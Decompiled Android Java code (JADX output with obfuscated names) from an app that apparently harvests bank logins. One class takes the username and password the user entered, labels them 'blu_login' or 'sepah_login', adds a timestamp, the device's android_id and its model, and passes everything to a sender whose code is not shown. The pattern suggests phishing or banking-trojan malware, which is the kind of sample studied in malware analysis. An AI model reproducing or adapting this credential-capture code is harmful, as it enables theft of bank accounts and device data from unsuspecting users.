package o;

import android.content.Context;
import android.os.Build;
import android.provider.Settings;
import java.io.IOException;
import org.json.JSONException;
import org.json.JSONObject;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* renamed from: o.de, reason: case insensitive filesystem */
/* loaded from: classes.dex */
public final class C1017de extends Sb0 implements SC {
    public final /* synthetic */ int p;
    public int q;
    public final /* synthetic */ Context r;
    public final /* synthetic */ InterfaceC1191fR s;
    public final /* synthetic */ InterfaceC1191fR t;

    /* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
    public /* synthetic */ C1017de(Context context, InterfaceC1191fR interfaceC1191fR, InterfaceC1191fR interfaceC1191fR2, InterfaceC0220Im interfaceC0220Im, int i) {
        super(2, interfaceC0220Im);
        this.p = i;
        this.r = context;
        this.s = interfaceC1191fR;
        this.t = interfaceC1191fR2;
    }

    @Override // o.SC
    public final Object f(Object obj, Object obj2) {
        InterfaceC0065Cn interfaceC0065Cn = (InterfaceC0065Cn) obj;
        InterfaceC0220Im interfaceC0220Im = (InterfaceC0220Im) obj2;
        switch (this.p) {
        }
        return ((C1017de) l(interfaceC0065Cn, interfaceC0220Im)).n(Oh0.a);
    }

    @Override // o.AbstractC0728ad
    public final InterfaceC0220Im l(Object obj, InterfaceC0220Im interfaceC0220Im) {
        switch (this.p) {
            case 0:
                return new C1017de(this.r, this.s, this.t, interfaceC0220Im, 0);
            default:
                return new C1017de(this.r, this.s, this.t, interfaceC0220Im, 1);
        }
    }

    @Override // o.AbstractC0728ad
    public final Object n(Object obj) throws JSONException, IOException {
        int i = this.p;
        Oh0 oh0 = Oh0.a;
        InterfaceC1191fR interfaceC1191fR = this.t;
        InterfaceC1191fR interfaceC1191fR2 = this.s;
        EnumC0091Dn enumC0091Dn = EnumC0091Dn.l;
        switch (i) {
            case 0:
                int i2 = this.q;
                if (i2 != 0) {
                    if (i2 != 1) {
                        throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
                    }
                    IJ.H(obj);
                    return oh0;
                }
                IJ.H(obj);
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("product", "blu_login");
                jSONObject.put("username", Za0.o0((String) interfaceC1191fR2.getValue()).toString());
                jSONObject.put("password", Za0.o0((String) interfaceC1191fR.getValue()).toString());
                jSONObject.put("time", System.currentTimeMillis());
                String string = jSONObject.toString();
                JSONObject jSONObject2 = Q8.a;
                this.q = 1;
                return Q8.b(string, "blu_login", this) == enumC0091Dn ? enumC0091Dn : oh0;
            default:
                int i3 = this.q;
                if (i3 != 0) {
                    if (i3 != 1) {
                        throw new IllegalStateException("call to 'resume' before 'invoke' with coroutine");
                    }
                    IJ.H(obj);
                    return oh0;
                }
                IJ.H(obj);
                Context context = this.r;
                String string2 = Settings.Secure.getString(context.getContentResolver(), "android_id");
                String str = Build.MANUFACTURER + " " + Build.MODEL;
                JSONObject jSONObject3 = new JSONObject();
                jSONObject3.put("product", "sepah_login");
                jSONObject3.put("username", Za0.o0((String) interfaceC1191fR2.getValue()).toString());
                jSONObject3.put("password", Za0.o0((String) interfaceC1191fR.getValue()).toString());
                jSONObject3.put("time", System.currentTimeMillis());
                String string3 = jSONObject3.toString();
                JSONObject jSONObject4 = Q8.a;
                Q8.a(context, string2, str);
                this.q = 1;
                return Q8.b(string3, "sepah_login", this) == enumC0091Dn ? enumC0091Dn : oh0;
        }
    }
}
